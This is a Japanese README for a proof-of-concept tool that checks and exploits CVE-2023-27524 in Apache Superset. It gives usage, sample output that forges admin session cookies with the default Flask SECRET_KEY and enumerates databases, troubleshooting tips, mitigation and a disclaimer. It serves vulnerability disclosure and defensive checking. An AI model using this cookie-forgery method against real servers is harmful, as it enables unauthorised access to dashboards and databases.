CVE-2023-27524: Apache Superset 認証バイパス

Apache Superset サーバーが安全でないデフォルト設定（CVE-2023-27524）で実行されているかどうかを確認するスクリプト。このスクリプトは、Superset サーバーのセッションクッキーが既知のデフォルトの Flask SECRET_KEY で署名されているかどうかをチェックします。

--validate フラグを使用すると、Superset API を使用してデータベースを列挙し、悪用可能性を検証できます。

ブログ記事

詳細はこちら： https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset フォローアップ記事： https://www.horizon3.ai/apache-superset-part-ii-rce-credential-harvesting-and-more/

使用法

% python3 CVE-2023-27524.py -h                           
usage: CVE-2023-27524.py [-h] --url URL [--id ID] [--validate] [--timeout TIMEOUT]

optional arguments:
  -h, --help            show this help message and exit
  --url URL, -u URL     Base URL of Superset instance
  --id ID               User ID to forge session cookie for, default=1
  --validate, -v        Validate login
  --timeout TIMEOUT, -t TIMEOUT
                        Time to wait before using forged session cookie, default=5s

基本例

% python3 CVE-2023-27524.py -u http://10.0.220.200:8088   
Got session cookie: eyJjc3JmX3Rva2VuIjoiZDBiYWI5ZmU0YTRjOWFiM2ZkMjc2YjA2ZDZiNWE0MDZmZmNkN2JkOCIsImxvY2FsZSI6ImVuIn0.ZEc0tw.X6y_rTie0yMP5oTFC6KNq8Me9ek
Decoded session cookie: {'csrf_token': 'd0bab9fe4a4c9ab3fd276b06d6b5a406ffcd7bd8', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc0tw.xmzJjq757QujOpk65jK0dLgCSDg

悪用可能性の証明付き例

% python3 CVE-2023-27524.py -u http://10.0.220.200:8088 --validate
Got session cookie: eyJjc3JmX3Rva2VuIjoiMTY0ZWExNWJlMDhmNWM2ZmZmOGFhNTExZThhMjUzYjM1YWY5MTdlNiIsImxvY2FsZSI6ImVuIn0.ZEc07w.CAkEJ7AtDlpfvVok-w0JQVcJqa0
Decoded session cookie: {'csrf_token': '164ea15be08f5c6fff8aa511e8a253b35af917e6', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc07w.fOAFW0_5gLUTkIbeR_5AqEz2DoU
Sleeping 5 seconds before using forged cookie to account for time drift...
Got 302 on login, forged cookie appears to have been accepted
Enumerating databases
Found database examples
Found database PostgreSQL
Done enumerating databases

トラブルシューティング

スクリプトが SECRET_KEY の使用を検出したものの悪用可能性を検証できない場合、以下の原因が考えられます：

対象サーバーが SSO と統合されており、ユーザー ID が自動インクリメント形式に従っていない（既知のユーザー ID がある場合は --id 引数で指定を試みてください）
まだユーザーが設定されていない
対象マシンとあなたのマシンの時刻にずれがある。Flask セッションクッキーにはタイムスタンプ要素が署名されています。コード内の 5 秒間のスリープ間隔を増やしてみてください。

緩和策

こちらの手順に従って Flask SECRET_KEY を生成・設定してください。superset CLI ツールを使用して SECRET_KEY をローテーションすることで、既存のデータベース接続情報を保持できます。

Twitter で Horizon3.ai アタックチームをフォローして最新のセキュリティ研究をチェック：

免責事項

このソフトウェアは学術研究と効果的な防御技術の開発のみを目的として作成されており、明示的に許可された場合を除き、システムへの攻撃に使用することを意図したものではありません。プロジェクトメンテナーは、ソフトウェアの誤用について責任を負いません。責任を持って使用してください。

CVE-2023-27524

人気